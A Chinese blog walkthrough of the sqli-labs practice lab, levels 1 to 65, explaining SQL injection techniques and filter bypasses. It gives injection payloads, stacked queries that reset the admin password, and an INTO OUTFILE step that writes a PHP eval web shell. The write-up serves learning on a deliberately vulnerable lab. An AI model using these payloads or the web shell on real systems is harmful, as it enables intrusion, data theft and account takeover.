sqli-labs 靶场 1-65 通关记
2022-3-22
| 2024-2-2
0  |  阅读时长 0 分钟
type
status
date
slug
summary
tags
category
icon
password
 

前言

好耶✌️!从2021年立下flag的sqli-labs靶场终于给刷完了,不得不说经典永远是经典,边刷边闻到了许多CTF题的味道。去年初的时候就把前20关给刷了,后面跑去刷ctfshow和干其他事情,然后就忘了,直到去年底看到团队师傅SQL注入玩的那么溜,各种bypass waf,于是就想把基础在巩固一波~
 
在这里顺便安利一波 lcamry 大佬的 mysql注入天书,刷的时候发现网上许多文章也是参考他的来的,然后里面也讲的更细,也有拓展,比网上许多文章写的都好,更像是 sqli-labs 的配套 WriteUp (
 

环境搭建

在网站解析目录执行:
修改 sql-connections/db-creds.inc 里数据库的连接用户和密码
notion image
访问index.html ,点Setup/reset Database for labs 安装即可,如果有报错就根据报错解决,之后就可以愉快的玩耍啦~
mac使用mamp pro的连接数据库的一个小坑,这个要勾上
notion image
不然本机用客户端连不上,不知道为啥php里直接连竟然可以,而且是不用指定端口的

less-1 GET 注入

验证注入点:单引号报错,两个单引号闭合利用闭合方式:' <payload> --+

获取本表中的字段,到4刚刚好报错

notion image
  • 关于 --+
疑问:-- 在sql语句中起到注释的作用,按理说----+ 作用是一样才对看法:PHP 在接收接收参数时,会对参数进行一次urldecode
notion image
如我们在浏览器地址栏输入网址时,会调用类似strip的函数去除首尾的空格,例如下图是可以正常访问的
notion image
所以,如果后面如果原本接着字符,以这个举例子是 --'   那么这就是三个字符,后面没有字符 就不是 -- ' 这样,MySQL是不会把它解析为注释符号的。 但 URL 里 不能 --  因为会被浏览器之类的替换为空,所以把空格编码一下就是 + 啦!
 
当然这是 get 请求的情况,如果是 post 请求(且Content-Type不为x-www-form-urlencoded或与这个Content-Type类似效果),加 + 就有问题了, + 还是 +,而不是空格的URL编码,此时应把+替换为%20,urldecode后就是空格啦。经测试,一般出现在 HTTP头里的 + 会被 urldecode 为空格
 
然后
在MySQL中是不一样的,
才是注释,
不是注释,
notion image
观察4种情况
  • 第1种正常,注释后面为空
  • 第2种异常,-+ 并非注释,MySQL无法解析,从而抛出异常
  • 第3种异常,- 注释后面如果还有字符,需要加空格
  • 第4种正常
所以一般 -- 后面都有个 + 或者空格,防止后面拼接了字符
当然常用的注释还有 #
notion image
这种注释就不用担心 --
后面有没有紧接着字符啦。

获取本表回显至前端的第x个字段

为接下来的union注入做准备:
union注入时,我们虽然可以通过注入获得想要的信息,但这些信息必须能够回显。例如本例有3个字段,这些字段不是都显示在网页前端的,只有第2和3个字段的查询结果会回显。
 
因此我们需要知道这3个字段中哪两个结果会回显,这个过程相当于找到数据库与回显的通道。这时候我们利用一个简单的select 1,2,3,根据显示在页面上的数字就可以知道哪个数字是这个“通道”,那么我们只需要把这个数字改成我们想查询的内容(如version(),database()),当数据爆破成功后,就会在窗口显示我们想要的结果。
 
当然这里的 1,2,3 是可以换的,只要自己能辨认出来即可
notion image
可知会回显的为第2和第3个字段
  • 关于 and 1=2
使用 and 1=2 是为了让本应正常输出的字段出错,然后达到我们的目的。
例如本例中只能输出一行,但我们需要通过正常查询来闭合,但我们想知道输出的是哪些字段,会被正常输出的所屏蔽。如正常查询:
notion image
为达到目的我们需要:
notion image
数据库中的返回结果:
notion image

获取一下数据库和版本

notion image

获取所有数据库名

notion image

获取security库所有表名

notion image

爆破security库users表列名

爆破security库users表数据

notion image

less-2 GET 注入

验证注入点:单引号报错,不用闭合可执行 SQL语句利用闭合方式:<payload>
与第一关基本一样,就 id 不用闭合
直接插入SQL语句即可
notion image

猜字段

notion image

回显字段位置

notion image

数据库和版本

notion image

获取所有数据库名

notion image

获取security库所有表名

notion image

爆破security库users表列名

notion image

爆破security库users表数据

notion image

less-3 GET 注入

验证注入点:单引号报错,两个单引号闭合利用闭合方式:') <payload> --+
也是闭合符号不一样
notion image

猜字段

notion image

爆破数据

notion image

less-4 GET 注入

验证注入点:双引号报错,两个双引号闭合利用闭合方式:") <payload> --+
也是闭合符号不一样
notion image

猜字段

notion image

爆破数据

notion image

Less-5 GET 报错注入

验证注入点:单引号报错,两个单引号闭合利用闭合方式:' <payload> --+考察点:报错注入

通过floor报错 最多回显 64 个字符

推荐阅读:https://blog.csdn.net/weixin_45146120/article/details/100062786 ,报错原理讲的很好!

获取数据库

notion image

执行多条语句

notion image

获取表名

notion image

获取列名

notion image
从这里可以看出,使用floor报错最多能输出 64 个字符
notion image

获取数据

notion image
不是很能理解,为什么这里用 group_concat 不行

通过 updatexml 报错 最多回显 32 个字符

报错说明:https://www.cnblogs.com/vspiders/p/7400415.html

获取数据库

notion image

获取数据

notion image
由此可以看出,使用floor报错最多能输出 32 个字符
notion image

通过 ExtractValue 报错 最多回显 32 个字符

报错说明:https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html

获取数据库

notion image

获取数据

notion image
由此可以看出,使用 ExtractValue 报错最多能输出 32 个字符
notion image

Less-6 GET 报错注入或布尔盲注

验证注入点:双引号报错,两个双引号闭合利用闭合方式:" <payload> --+
就闭合方式和 Less-5 不一样外,其余都一样
获取数据
notion image

Less-7 GET 注入写 shell

验证注入点:单引号报错,两个单引号闭合利用闭合方式:')) <payload> --+
根据靶场首页的题目名字,是想让我们试试写shell
写 Shell 即 MySQL 需要对外写文件,但默认 MySQL 是不允许使用 outfile 来导出数据的,先手动在 MySQL 确认一下。
notion image
MYSQL的特性 secure_file_priv 对读写文件的影响,此开关默认为NULL,即不允许导入导出。
写 Shell
这里有个小注意事项,不能直接把 <?php eval($_POST['pwd']);?> 转 16 进制,因为 <?php eval 之间的空格不会保留的。因此要手动加上 20 空格,不然写的 shell 会是 <?phpeval 这样的。
notion image
报错不要紧因为这个语句值返回空
notion image
看一波这个目录就知道成功写进去了
notion image

Less-8 GET 布尔盲注

验证注入点:单引号无回显,两个单引号闭合利用闭合方式:' <payload> --+
数据库长度
数据库名 security
notion image
注意这里的 substr((select database()),1,1) 第一个参数必须带括号,因为 select 语句返回元组的形式,如果没有括号,则其结果的参数均会作为 substr 的参数代入,从而会报错。
获取第一个表的长度,并获取表名 emails
notion image
获取表数据字段 分别是 2,8
notion image
获取字段名

获取数据

查询表的字段个数
获取第一个字段数据长度
获取第一个字段数据
写个脚本获取这个字段所以 16 个字符
notion image

Less-9 GET 时间盲注

验证注入点:' and sleep(5) --+利用闭合方式:' <payload> --+
 
无法查看页面返回情景,所以查询语句正确时,需要通过流程控制来判断进行时间延迟输出判断。
 
MySQL的 ifif(表达式,真,假)
notion image
利用 and 语句的特性,当有一个为假时,后面不用判断
例如猜数据库长度
数据库名第一个字母 s
查询表字段数
和 Less-8 获取的数据一样
notion image

Less-10 GET 时间盲注

验证注入点:" and sleep(5) --+利用闭合方式:" <payload> --+
获取 Less-8 的数据脚本需要改动的地方:
这里在介绍另外一种时间盲注方法
  • if带括号是函数,不能直接用,所以最开始要拉上个 select
  • 如果 if 第一个参数不是表达式,要用括号扩起来

Less-11 POST 注入

验证注入点:单引号报错,两个单引号闭合利用闭合方式:admin' <payload> #&passwd=1
 
如果用 admin' -- 注意 -- 后面有个空格,或者 --+ 也可以,保证HTTP请求包的 Content-Type 是 x-www-form-urlencoded 或Content-Type起到效果类似即可,因为这样包发出时会对POST请求体部分进行url编码。

获取列数

notion image

爆破数据

notion image

Less-12 POST

验证注入点:双引号报错,两个双引号闭合利用闭合方式:admin") <payload> #&passwd=1
获取列数
爆破数据
notion image

Less-13 POST 报错注入

验证注入点:单引号报错,两个单引号闭合利用闭合方式:uname=admin') <payload> #&passwd=1
 
获取数据库
notion image
获取数据
notion image

Less-14 POST 报错注入

验证注入点:双引号报错,两个双引号闭合利用闭合方式:uname=admin" <payload> #&passwd=1
获取数据
notion image

Less-15 POST 布尔盲注

验证注入点:万能密码登录成功 → uname=0x74617269’ or 1=1 #&passwd=1利用闭合方式:uname=admin' <payload> #&passwd=1要确保 0x74617269 是不存在的,因为用的是 or, 如果 uname 是存在的就用 and
获取数据库长度

获取数据

查询表的字段个数
获取第一个字段数据长度
获取第一个字段数据
写个脚本获取这个字段所有 16 个字符
notion image

Less-16 POST 布尔盲注

验证注入点:万能密码登录成功 → uname=admin") or 1=1#&passwd=1
利用闭合方式:uname=0x74617269") <payload> #&passwd=1获取数据库长度
 
POST
获取第一个字段数据 16 个字符

Less-17 UPDATE 报错注入

uname 输入点被转义,update需要一个存在的用户,即 uname 必须是在数据库中存在的。
注入点在 passwd 字段验证注入点:uname=admin&passwd=1’利用闭合方式:uname=Dhakkan&passwd=1' <payload> #
 
POST
正常报错注入获取数据库
notion image
但在获取数据就有点问题了
POST
notion image
报错: You can’t specify target table ‘users’ for update in FROM clause
 
在 MySQL 中,不能在同一个sql语句中,先select同一个表的某些值,然后再update这个表。但 select 的结果可以再通过一个中间表 select 多一次,就可以避免这个错误。顺便还明白了,为什么 sqlmap 的 payload 中那么多个 as
 
因此重新构造
POST
获取成功
notion image

Less-18 HTTP头UA INSERT 报错注入

需要正确的帐号密码验证注入点:User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4208.0 Safari/537.36'
利用闭合方式:1’ AND  AND ’
 
PHP 里用来获取客户端 IP 的变量
  • $_SERVER['HTTP_CLIENT_IP'] 这个很少使用,不一定服务器都实现了。客户端可以伪造。
  • $_SERVER['HTTP_X_FORWARDED_FOR'],客户端可以伪造。
  • $_SERVER['REMOTE_ADDR'],客户端不能伪造。
不过这里有个很奇怪的地方
payload
即 默认UA + 利用,但非预期内报错
notion image
把 UA 换成数字,不一定是1,0以外的数字基本都可以可以成功利用报错注入
payload
notion image
但如果把 1 换成 0,就什么都不输出了。
notion image
也就是说,UA ' 前包含 正负数字以外 的都不行不是很理解为啥爆破数据

Less-19 HTTP头Referer INSERT 报错注入

需要正确的帐号密码验证注入点:Referer: http://sqli-labs:8890/sqli-labs/Less-19/'
利用闭合方式:Referer: http://sqli-labs:8890/sqli-labs/Less-19/' AND AND '
 
爆破数据

Less-20 HTTP头Cookie 联合注入

验证注入点:Cookie: uname=123'利用闭合方式:Cookie: uname=123'#
可以直接用联合注入
提取本表字段,到 4 刚刚好报错
获取表
获取字段
获取数据
notion image

Less-21 Dump into outfile

验证注入点:Cookie: uname=MSc=(其中 MSc=1' 的 base64编码)
利用闭合方式:Cookie: uname=MScpIG9yIDE9MSAj(其中 MScpIG9yIDE9MSAj1') or 1=1 # 的 base64编码 )
注意事项
这里不能直接用 –+ ,因为是经过base64编码传输的,解码后传入数据库执行的是 –+,并不会转换为 –空格, –+ MySQL是不认识的,会报错
先判断表字段数,3正常,4报错
因后端有base64解码,所以需要编码
写文件
base64编码
报错不要紧因为这个语句值返回空
notion image
可以正常利用
notion image

Less-21 Cookie联合注入

注入点、闭合方式和判断表字段数同 Less-21 Dump into outfile 一致 这里尝试获取数据,与 Less-20 类似,不过要base64编码一下,然后闭合方式不一样
获取数据
base64编码一下
notion image
可以尝试使用 sqlmap base64encode tamper
  • -flush-session 选项是清除本地的缓存,因为sqlmap扫描结果会在本地缓存,然后下次扫描如果存在缓存会直接调用已扫描的结果。

Less-22 Cookie联合注入

验证注入点:Cookie: uname=MTIzIg== (其中 MTIzIg==1" 的 base64编码) 利用闭合方式:Cookie: uname=MTIzIiBvciAxPTEj (其中 MTIzIiBvciAxPTEj123" or 1=1# 的 base64编码 )
利用方式和Less-21类似,只不过闭合方式不同
判断表字段个数,3正常,4报错
base64编码一下
获取数据
base64编码一下
notion image
突然发现好像数据都连在一起了,通过 concat 加个间隔符
notion image
舒服了~

Less-23 GET注入 过滤注释符

验证注入点:id=1’
利用闭合方式:?id=1’ and 1=2 union select 1,2,3 ’
因为本关过滤了注释符,其他都差不多
只要通过单引号把后面闭合了即可,获取数据

Less-24 二次注入

本关卡数据入参都有通过 mysql_real_escape_string 进行转义,本站提供了注册、登陆、登陆后修改密码功能
关键代码 pass_change.php
虽然SQL特殊字符被转义了,但如果注册时用户名是 admin'#,那么登陆这个修改密码执行的 SQL 语句就是
则直接修改 admin 的密码,就能直接登陆管理员账号了

Less-25 双写绕过or和and

验证注入点:id=1’
利用闭合方式:?id=1’ anandd 1=2 union select 1,2,3 ’
这关会把 orand 替换为空,通过双写绕过即可,或者通过等价符合 &&|| 绕过
获取数据

Less-25a 双写绕过or和and

验证注入点:?id=1%20anandd%20sleep(5)%20#
利用闭合方式:?id=1 anandd 1=2 union select 1,2,3 #
与Less-25一致,只是闭合方式不一样
获取数据

Less-26 空格绕过

验证注入点:id=1’
利用闭合方式:?id=1%27%0banandd%0b1=2%0bunion%0bselect%0b1,2,3%0b%27
除了Less-23 Less-25 过滤的,还过滤了空格,空格可以通过以下符号代替
符号
说明
%09
TAB 键(水平)
%0a
新建一行
%0c
新的一页
%0d
return 功能
%0b
TAB 键(垂直)
%a0
空格(和普通空格不一样)
试了一下,最终只有 %0b%a0 是可用的,注意,%a0我在mac(10.15.7)上用不了
获取数据

Less-26a 空格绕过

验证注入点:?id=1’)%a0anandd%a0sleep(5)%a0oorr%a0(’
利用闭合方式:?id=1%27)%a0anandd%a01=2%a0union%a0select%a01,2,3%a0oorr%a0(%27
 
这关的注入点验证和闭合方式和之前的有很点不同,获取数据也和之前的有所不同,因为注释符也是被过滤了的,然后闭合方式是 ('') ,我们无法直接通过 1') (' 闭合,因为这样会多出一个 ('') 导致 sql 语法错误
需要构造一下,使得后面的 ('') 无作用,即
这里不能用 and ('') 因为后面为非(空),查询不到数据,用 or ('') 就行
最终获取数据查询语句,结合一下前面的绕过就OK了~

Less-27 union过滤

验证注入点:?id=1’
利用闭合方式:?id=1’%0a%26%261=2%0auNion%0aseLect%0a1,2,3%0a’
过滤比较敷衍,没有区分大小写,而且也可以通过双写绕过,这里尝试了一下 %0a 突然也可以替换空格了
获取数据
不知为啥下面分隔符没有效果

Less-27a union过滤

验证注入点:?id=1%22%26%26sleep(5)%7c%7c%22
利用闭合方式:?id=1%22%26%261%3d2%a0uNion%a0seLect%a01,2,3%7c%7c%22
与Less-27一样,但这里SQL语句为,注意前3行还有个双引号拼接,有点小坑,怪不得直接执行不行…
获取数据,发现这两a关闭合方式有点小trick,需要设法让多余的符号失效

Less-28 union select 过滤

验证注入点:?id=1%27)%26%26sleep(5)||(%27
利用闭合方式:?id=1')%26%261%3d2%0Auniounion%0Aselectn%0Aselect%0A1,2,3||('
 
本次过滤
双写 uniounion%0aselectn%0aselect即可
获取数据

Less-28a union select 过滤

这关只过滤了 union select,比Less-28过滤的还少,和 Less-28一样即可获取数据

Less-29 HPP绕过白名单

验证注入点:login.php?id=1&id=1'
利用闭合方式:login.php?id=1&id=1' and 1=2 union select 1,2,3%23
 
这关 login.php 设置了一个白名单WAF,只允许数字,不过获取匹配的参数 $_SERVER['QUERY_STRING'] 然后匹配到第一个 id 就 break 掉了。但 PHP 通过 $_GET['id'] 获取是覆盖关系,即同时存在多个URL参数时,只获取最后一个。但WAF判断的是第1个,所以就可以绕过了。这种方式也叫HPP,HTTP 参数污染
获取数据

Less-30 && Less-31 HPP绕过白名单

验证注入点:login.php?id=1&id=1"
 
Less-30利用闭合方式:login.php?id=1&id=1" and 1=2 union select 1,2,3%23
Less-31利用闭合方式:login.php?id=1&id=1") and 1=2 union select 1,2,3%23
只是和Less-29闭合方式不一样
Less-30获取数据
Less-31获取数据

Less-32 宽字节注入

验证注入点:?id=1%df%27
利用闭合方式:?id=1%df%27 and 1=2 union select 1,2,3%23
 
原理
客户端(如PHP,设置了GBK编码)-> 连接层(MySQL编码处理)-> 服务端(MySQL语句执行)
%df%27%65 -> %df%27%65 (因为前一个ascii码要大于128,MySQL才会认为需要两个字节组合,然后 %df%xx 会进行多字节编码) -> 导致%27没转义,进而导致注入
获取数据

Less-33 宽字节注入

同 Less-32,Less-32是自己写的过滤,Less-33是原生的,32的好像也是只能宽字节才行。
 

Less-34 POST 宽字节注入

验证注入点:uname=123%df'
利用闭合方式:uname=123%df' or 1=1%23
获取数据
除了SQL语句查询列数和POST方式,其他一样

Less-35 联合注入

验证注入点:?id=1'
利用闭合方式:?id=1 and 1=2 union select 1,2,3 #
获取数据
过滤了个寂寞(

Less-36 宽字节注入

验证注入点:?id=1%df%27
利用闭合方式:?id=1%df%27 and 1=2 union select 1,2,3%23
获取数据
和 Less-33 利用方式一样,只不过过滤函数从 addslashes 变成 mysql_real_escape_string

Less-37 POST 宽字节注入

利用方式同Less-34,过滤函数从 addslashes 变成 mysql_real_escape_string

Less-38 堆叠注入

验证注入点:?id=1'
利用闭合方式:?id=1';
 
这个和之前SQL查询语句不同的是使用了 mysqli_multi_query ,SQL语句中分隔符为 ; ,这个语句允许我们通过 ; 同时执行多个语句
既然可以拼接任意语句,尝试获取版本
发现前面就算执行为空,也不会拼接,这是因为服务端只获取第一条语句的执行结果
如果服务端没有返回每条语句执行的结果,则需要获取数据回显。
从国光那学到了一种只在Windows系统下有效的dnslog数据外带方式,因为 Windows下存在一种叫UNC(通用命名规则)
我们平常在访问smb或者域机器的时候就挺熟悉这种访问方式的,就叫UNC,如果把IP换成域名,当然也会进行dns解析。因Linux没有这种东西,所以也没法进行dnslog数据外带了
 
这里使用Windows搭建个sqli-labs环境(注意phpstudy默认secure_file_priv=NULL 需要改 my.ini 在 [mysqld] 字段里增加 secure_file_priv ),然后写入
即可获取数据,注意 limit 0,1 不能去掉,否则太长了会接收不到数据,不知是不是dnslog平台做了长度的限制
notion image
这里和普通的注入还有很大不同,普通注入一般只能只能 select 操作,因是执行独立的sql语句,还可以执行增删改数据库表和表数据语句,如
最终补充一下,这几个堆叠注入都无法直接验证存在堆叠注入

Less-39 堆叠注入

验证注入点:?id=1'
利用闭合方式:?id=1;create database less39%23
 
闭合方式不一样,其余同 Less-38
获取所有数据库名称,验证数据库是否正常创建

Less-40 堆叠注入

验证注入点:1%27)%20and%20sleep(5)%23
利用闭合方式:?id=1');create database less40%23
 
闭合方式不一样,其余同 Less-38
获取所有数据库名称,验证数据库是否正常创建

Less-41 堆叠注入

验证注入点:?id=1%20and%20sleep(5)%23
利用闭合方式:?id=1;create database less41%23
 
没有报错回显,其余同 Less-39
获取所有数据库名称,验证数据库是否正常创建

Less-42 POST 堆叠注入

验证注入点:login_user=admin&login_password=1'&mysubmit=Login
利用闭合方式:login_user=admin&login_password=1';update users set password='1' where username='admin'%23&mysubmit=Login
 
利用堆叠注入修改任意用户密码,即可正常登陆,然后这里还存在万能密码、联合报错时间注入问题,应有尽有

Less-43 POST 堆叠注入

验证注入点:login_user=admin&login_password=1'&mysubmit=Login
利用闭合方式:login_user=admin&login_password=1');update users set password='123' where username='admin'%23&mysubmit=Login
闭合方式不一样,其余同 Less-42

Less-44 POST 堆叠注入

验证注入点:login_user=admin&login_password=1' and sleep(5)%23&mysubmit=Login
利用闭合方式:login_user=admin&login_password=1');update users set password='123' where username='admin'%23&mysubmit=Login
没有报错回显,其余同 Less-42

Less-45 POST 堆叠注入

验证注入点:login_user=admin&login_password=1') and sleep(5)%23&mysubmit=Login
利用闭合方式:login_user=admin&login_password=1');update users set password='1' where username='admin'%23&mysubmit=Login
没有报错回显,其余同 Less-43

Less-46 order by 注入

验证注入点1:?sort=1'
验证注入点2:?sort=1 asc
验证注入点3:?sort=1 desc
如果验证注入点2和3的结果不一样,则表明可以注入
验证注入点4:?sort=sleep(5)
注意order by 注入不能使用联合注入,不然会报语法错误,我们先观察一下 SELECT 语句在MySQL官方的说明
order by 注入可以直接跟表达式,所以注入也比较宽松,如
  • 直接报错注入
  • 布尔盲注
因为 ascii(x)=x 的返回值为0或1,在这里没法根据返回结果区分,不过直接 rand(0) 和 rand(1) 返回值不一样,然后 order by 的结果是有差异的。
另外,从卿师傅里学到一种异或方式的order by 注入
regex 匹配成功返回 1 失败 返回 0,1 和 0 的二进制分别是 00000001 和 00000000,与 id 字段每个id值进行异或,除非所有id值都为奇数或偶数,不然必然会导致排序发生改变,如id依次是 1/2/3/4 与1异或分别变成 0/3/2/5,与 0 异或是其本身(异或运算的特点)
  • 时间盲注
正常延时,顺便试试 benchmark延时
不行,应该是 benchmark 无论如何恒返回0,执不执行无所谓,这里编译器直接优化了?
这个语句就可以正常延时,可能表名这编译器优化问题,所以就执行 benchmark 没有直接获取返回值了,而是执行了
此外,也可以通过 and xxxx 拼接语句~
通过观察官方SELECT语句用法, PROCEDURE 存储过程的语句也可以用,比如说
mac上这个语句用不了,win和linux环境没问题~
获取表名
获取字段名
报错函数因有最长返回值限制,因此要获取字段的最大长度,然后分割获取,(这里创建了一个新表longcol和新的字段desc模拟数据长度大于64的场景)
返回:XPATH syntax error: '~int(11)~'
返回:XPATH syntax error: '~varchar(255)~'
获取数据
  • 这里 desc 要加反引号是因为 desc 是 MySQL 内置函数,直接使用会报错~
  • 不断改变 1,30 范围 ,最后变成 mid(`desc`,241,270) 即可获取该字段所有数据,当然也可以优雅些,当获取不到任何值时,就不获取了
  • 如果数据中间包含很长一段空格,页面前端看着会像只返回1个空格

Less-47 order by 注入 字符型

验证注入点:?sort=1'
利用闭合方式:?sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+
 
这里注意点就是不能通过直接 ' 闭合,可以 and ' 闭合,也可以通过注释闭合
获取数据

Less-48 order by 盲注入

验证注入点:?sort=sleep(5)
利用闭合方式:if(ascii(substr(database(),1,1))=115,sleep(5),0)
 
这关关闭了报错注入,可以布尔盲注或者时间注入获取数据
不知为啥延时时间是远大于1S的

Less-49 order by 盲注入 字符型

验证注入点:?sort=1’
利用闭合方式:?sort=1’ and if(ascii(substr(database(),1,1))=115,sleep(5),0)–+
闭合方式不一样,获取数据
这里注意 sort 后面要跟个值,不能直接接单引号

Less-50 order by 堆叠注入

验证注入点:?sort=1'
利用闭合方式:?sort=1;create database less50;
和普通堆叠注入没什么区别

Less-51 order by 堆叠注入

验证注入点:?sort=1'
利用闭合方式:?sort=1’;create database less51;
闭合方式和Less50不一样,其余一样

Less-52 order by 堆叠注入

验证注入点:?sort=sleep(5)
利用闭合方式:?sort=1;create database less52;
只是无报错回显了

Less-53 order by 堆叠注入

验证注入点:1%27%20and%20sleep(5)–+
利用闭合方式:?sort=1';create database less53;
闭合方式和Less52不一样

Less-54

根据题意,限定10个语句从数据库 challenges 获取一个随机表中随机字段的值
因只是表和字段是随机的,那么前面的判断闭合方式、字段个数判断,回显占位是不用算到这10次里的
闭合方式
字段数
报错
占位符为第2/3个字段
获取随机表名
获取随机表名的列名
获取数据,其实只要三步接行了~

Less-55

和 Less54一样,只是闭合方式不一样
快进到表名获取
列名
数据

Less-56

同Less55,闭合方式不一样

Less-57

同Less56,闭合方式不一样

Less-58

因获取结果通过代码定义的数组,数据库报错也开着,把联合注入为报错注入
获取表
获取字段
获取key

Less-59

闭合方式不一样,其余见Less-58
获取数据

Less-60

闭合方式不一样,其余见Less-58
获取数据

Less-61

闭合方式不一样,其余见Less-58
获取数据

Less-62

本关联合注入和报错注入都不行了,需要进行盲注
但此关限制了只能在 130 步内注入表名和数据字段以及数据,有点难度
常见字符及大小写已经有65个了…
首先想到二分法,但感觉也不太行
表名
字段名
数据
一共花费 229次,而且还是算准了字段长度,并且知道字段名前缀的前提下
 
网上搜了下别人的解法,tql orz
原来还有多状态这种东西,并且虽然MySQL默认区分大小写,但在用等号 where 取列名字段时,是不区分大小写的,各种骚姿势,被秀到了…
 
其实也是通过 substr 每位获取,只不过获取的时候,不用把每位字符(上面二分法脚本里的 chars)一个个判断是否存在,而是通过页面返回结果来进行。但不是说这是盲注嘛?页面还是有返回具体的查询信息的,比如当 id=1时返回用户名为 Angelina(为啥不是数据库的 id 为1的用户名?因为PHP在代码层做了新数组映射),id=2时返回用户名是 Dummy,假如数据表中存在8条数据,我们把结果,假如 ASCII(SUBSTRING((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1), 1, 1)) 是 90,然后ascii可见字符在 0-128,也就是 8 位二进制足以表示。我们不用一位位去匹配字符表的每个字符(上面二分法脚本里的 chars),而是先 90 & 7 (00000111) = 290 & 56 (00111000) = 2490 & 224 (11100000) = 64,然后3种与运算结果通过 case when 把与运算后的情况,弄成8种状态(因为只有3个1,返回只有8种结果),通过页面返回的三种状态,分别是 securestupidsecure ,3个状态即可知道这个字符的8位二进制组成,然后就能得出第1个字符的ascii值是90。也就是原本我们需要一个个遍历 .0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz 每个字符,根据页面返回判断是否相等,如果该表存在多于8条数据,就能变成只要3次即可获取到1个字符内容。
过于秀~

Less-63

用Less-62多状态同 Less-62

Less-64

用Less-62多状态 payload 改一下闭合方式即可

Less-65

用Less-62多状态 payload 改一下闭合方式即可

总结

虽说用sqlmap是没有灵魂的,不得不说sqlmap是一款是否优秀的开源sql注入工具,为啥说没有灵魂?纯手工刷完靶场后,发现sqlmap给我们隐藏了很多很多的注入细节,所以练习不建议使用~

参考链接

  • Writeup
  • sqli-labs
  • vulnhub Linux提权靶机 | escalate_linux_1初探 GraphQL 安全
    • GitTalk
    目录